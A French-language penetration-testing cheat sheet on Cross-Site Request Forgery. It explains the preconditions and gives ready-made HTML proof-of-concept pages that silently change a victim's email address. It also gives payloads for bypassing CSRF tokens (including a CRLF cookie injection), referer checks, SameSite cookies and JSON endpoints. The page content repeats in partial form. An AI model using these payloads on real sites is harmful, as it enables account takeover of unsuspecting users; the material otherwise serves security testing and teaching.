CSRF

Cross Site Request Forgery

PrécédentJSON Web Token SuivantCross-site WebSocket Hijacking (CSWSH)

Dernière mise à jour il y a 1 an

Cet article vous a-t-il été utile ?

CSRF

Cross Site Request Forgery

Sites:

: Générateur en ligne de PoC CSRF.

Mindmap

Prérequis:

Une action pertinente. Il y a une action dans l'application que l'attaquant a une raison d'induire. Il peut s'agir d'une action privilégiée (telle que la modification des autorisations d'autres utilisateurs) ou de toute action sur des données spécifiques à l'utilisateur (telle que la modification du mot de passe de l'utilisateur).
Gestion de session basée sur les cookies. L'exécution de l'action implique l'émission d'une ou plusieurs requêtes HTTP, et l'application s'appuie uniquement sur les cookies de session pour identifier l'utilisateur qui a fait les requêtes. Il n'existe aucun autre mécanisme en place pour suivre les sessions ou valider les demandes des utilisateurs.
Aucun paramètre de demande imprévisible. Les requêtes qui exécutent l'action ne contiennent aucun paramètre dont les valeurs ne peuvent pas être déterminées ou devinées par l'attaquant. Par exemple, en incitant un utilisateur à changer son mot de passe, la fonction n'est pas vulnérable si un attaquant a besoin de connaître la valeur du mot de passe existant.

Principe

Exemple de modification d'email:

POST /changeemailaddress HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE

email=target@mail.xyz

Exploit: (Test dans un fichier html en local)

<html>
    <body>
        <form action="https://target.com/changeemailaddress" method="POST">
            <input type="hidden" name="email" value="evil@mail.xyz" />
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>

Si la victime se rend sur le site web de l'attaquant contenant cet exploit, une requête HTTP sera envoyé à l'url "https://target.com/changeemailaddress" préremplie avec l'email de l'attaquant (evil@mail.xyz).

Si la victime a une session active sur le site target.com, l'action sera alors faite via son compte et son adresse mail sera alors remplacé par celle de l'attaquant.

Bypass de jeton CSRF

Tenter d'utiliser une autre méthode HTTP que celle utilisée.
Supprimer le paramètre "csrf" de la requête.
Utiliser son propre jeton CSRF à la place de celui de la cible.
Si le site Web contient un comportement qui permet à un attaquant de placer un cookie dans le navigateur d'une victime, L'attaquant peut se connecter à l'application à l'aide de son propre compte, obtenir un jeton valide et un cookie associé, placer son cookie dans le navigateur de la victime et transmettre son jeton à la victime lors de son attaque CSRF. (CRLF + CSRF)
Si le site utilise un header X-Csrf-Token, le remplacer par "1".

<img src="https://target.com/+<CRLF payload> onerror="document.forms[0].submit()">

Exemple:

<html>
  <body>
    <img src="https://target.com/?search=test%0d%0aSet-Cookie:%20csrfKey=<KEY>%3b%20SameSite=None" onerror="document.forms[0].submit()">
    <form action="https:///target.com/changeemailadress" method="POST">
      <input type="hidden" name="email" value="test2&#64;test&#46;com" />
      <input type="hidden" name="csrf" value="123XYZ" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>

Bypass de vérification de l'en-tête referer

Si le site se fie à l'en-tête referer pour valider si le site de l'attaquant fait partie d'une whitelist ou non, on peu essayer d'ajouter une balise <meta> "no-referrer" à notre PoC.

<html>
    <meta name="referrer" content="no-referrer">
    <body>
        <form action="https://target.com/changeemailaddress" method="POST">
            <input type="hidden" name="email" value="evil@mail.xyz" />
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>

Cela suffit parfois à bypass la liste blanche mise en place.

On peut aussi utiliser un nom de domaine tel que https://target.com.attacker.com pour tenter de bypass la regex vérifiant le domaine de confiance.

Exemple:

<script>
    document.location="https://target.com/changeemailaddress?email=attacker@mail.xyz&_method=POST
</script>

Exemple:

<script>
	document.location="https://target.com/example/path?parameter=../../changeemailaddress?email=attacker%40mail.xyz%26submit=1"
</script>

XSS+CSRF => Account takeover

Parfois, il est également possible de coupler une injection XSS (permettant de voler le token CSRF de la victime) et une CSRF avec XMLHttpRequest afin de parvenir souvent à la prise de contrôle d'un compte à haut privilèges.

CSRF sur endpoint JSON

Avec ACAO sur *

Dans le générateur de PoC CSRF de burp, dans options utiliser la technique "Cross-domain XHR" et set xhr.withcredentials dans le payload sur false si le true ne fonctionne pas.

Avec Content-Type: text/plain

<html>
    <body>
        <form action="https://target.com/changeemailaddress" method="POST">
            <input type="hidden" name='{"username":"evil","email":"evil@mail.xyz","foo' value='":"test"}' />
        </form>
    </body>
</html>

Impacts possibles

Fuites de données sensibles
Enregistrement de Self-XSS dans le navigateur de la victime
Account takeover

PrécédentJSON Web Token SuivantCross-site WebSocket Hijacking (CSWSH)

Dernière mise à jour il y a 1 an

Cet article vous a-t-il été utile ?

Sites:

: Générateur en ligne de PoC CSRF.

Mindmap

Prérequis:

Une action pertinente. Il y a une action dans l'application que l'attaquant a une raison d'induire. Il peut s'agir d'une action privilégiée (telle que la modification des autorisations d'autres utilisateurs) ou de toute action sur des données spécifiques à l'utilisateur (telle que la modification du mot de passe de l'utilisateur).
Gestion de session basée sur les cookies. L'exécution de l'action implique l'émission d'une ou plusieurs requêtes HTTP, et l'application s'appuie uniquement sur les cookies de session pour identifier l'utilisateur qui a fait les requêtes. Il n'existe aucun autre mécanisme en place pour suivre les sessions ou valider les demandes des utilisateurs.
Aucun paramètre de demande imprévisible. Les requêtes qui exécutent l'action ne contiennent aucun paramètre dont les valeurs ne peuvent pas être déterminées ou devinées par l'attaquant. Par exemple, en incitant un utilisateur à changer son mot de passe, la fonction n'est pas vulnérable si un attaquant a besoin de connaître la valeur du mot de passe existant.

Principe

Exemple de modification d'email:

POST /changeemailaddress HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE

email=target@mail.xyz

Exploit: (Test dans un fichier html en local)

<html>
    <body>
        <form action="https://target.com/changeemailaddress" method="POST">
            <input type="hidden" name="email" value="evil@mail.xyz" />
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>

Si la victime a une session active sur le site target.com, l'action sera alors faite via son compte et son adresse mail sera alors remplacé par celle de l'attaquant.

Bypass de jeton CSRF

Tenter d'utiliser une autre méthode HTTP que celle utilisée.
Supprimer le paramètre "csrf" de la requête.
Utiliser son propre jeton CSRF à la place de celui de la cible.
Si le site Web contient un comportement qui permet à un attaquant de placer un cookie dans le navigateur d'une victime, L'attaquant peut se connecter à l'application à l'aide de son propre compte, obtenir un jeton valide et un cookie associé, placer son cookie dans le navigateur de la victime et transmettre son jeton à la victime lors de son attaque CSRF. (CRLF + CSRF)
Si le site utilise un header X-Csrf-Token, le remplacer par "1".

<img src="https://target.com/+<CRLF payload> onerror="document.forms[0].submit()">

Exemple:

<html>
  <body>
    <img src="https://target.com/?search=test%0d%0aSet-Cookie:%20csrfKey=<KEY>%3b%20SameSite=None" onerror="document.forms[0].submit()">
    <form action="https:///target.com/changeemailadress" method="POST">
      <input type="hidden" name="email" value="test2&#64;test&#46;com" />
      <input type="hidden" name="csrf" value="123XYZ" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>

Bypass de vérification de l'en-tête referer

Si le site se fie à l'en-tête referer pour valider si le site de l'attaquant fait partie d'une whitelist ou non, on peu essayer d'ajouter une balise <meta> "no-referrer" à notre PoC.

<html>
    <meta name="referrer" content="no-referrer">
    <body>
        <form action="https://target.com/changeemailaddress" method="POST">
            <input type="hidden" name="email" value="evil@mail.xyz" />
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>

Cela suffit parfois à bypass la liste blanche mise en place.

On peut aussi utiliser un nom de domaine tel que https://target.com.attacker.com pour tenter de bypass la regex vérifiant le domaine de confiance.

Via

Exemple:

<script>
    document.location="https://target.com/changeemailaddress?email=attacker@mail.xyz&_method=POST
</script>

Via paramètre acceptant du ou vulnerable à

Exemple:

<script>
	document.location="https://target.com/example/path?parameter=../../changeemailaddress?email=attacker%40mail.xyz%26submit=1"
</script>

XSS+CSRF => Account takeover

CSRF sur endpoint JSON

Avec ACAO sur *

Dans le générateur de PoC CSRF de burp, dans options utiliser la technique "Cross-domain XHR" et set xhr.withcredentials dans le payload sur false si le true ne fonctionne pas.

Avec Content-Type: text/plain

<html>
    <body>
        <form action="https://target.com/changeemailaddress" method="POST">
            <input type="hidden" name='{"username":"evil","email":"evil@mail.xyz","foo' value='":"test"}' />
        </form>
    </body>
</html>

Impacts possibles

Fuites de données sensibles
Enregistrement de Self-XSS dans le navigateur de la victime
Account takeover

Sites:

Mindmap

Principe

Bypass de jeton CSRF

Bypass de vérification de l'en-tête referer

Bypass de cookie SameSite Lax

Bypass de cookie SameSite Strict

XSS+CSRF => Account takeover

CSRF sur endpoint JSON

Avec ACAO sur *

Avec Content-Type: text/plain

Impacts possibles

Sites:

Mindmap

Principe

Bypass de jeton CSRF

Bypass de vérification de l'en-tête referer

Bypass de cookie SameSite Lax

Via

Bypass de cookie SameSite Strict

Via paramètre acceptant du ou vulnerable à

XSS+CSRF => Account takeover

CSRF sur endpoint JSON

Avec ACAO sur *

Avec Content-Type: text/plain

Impacts possibles

Via

Via paramètre acceptant du ou vulnerable à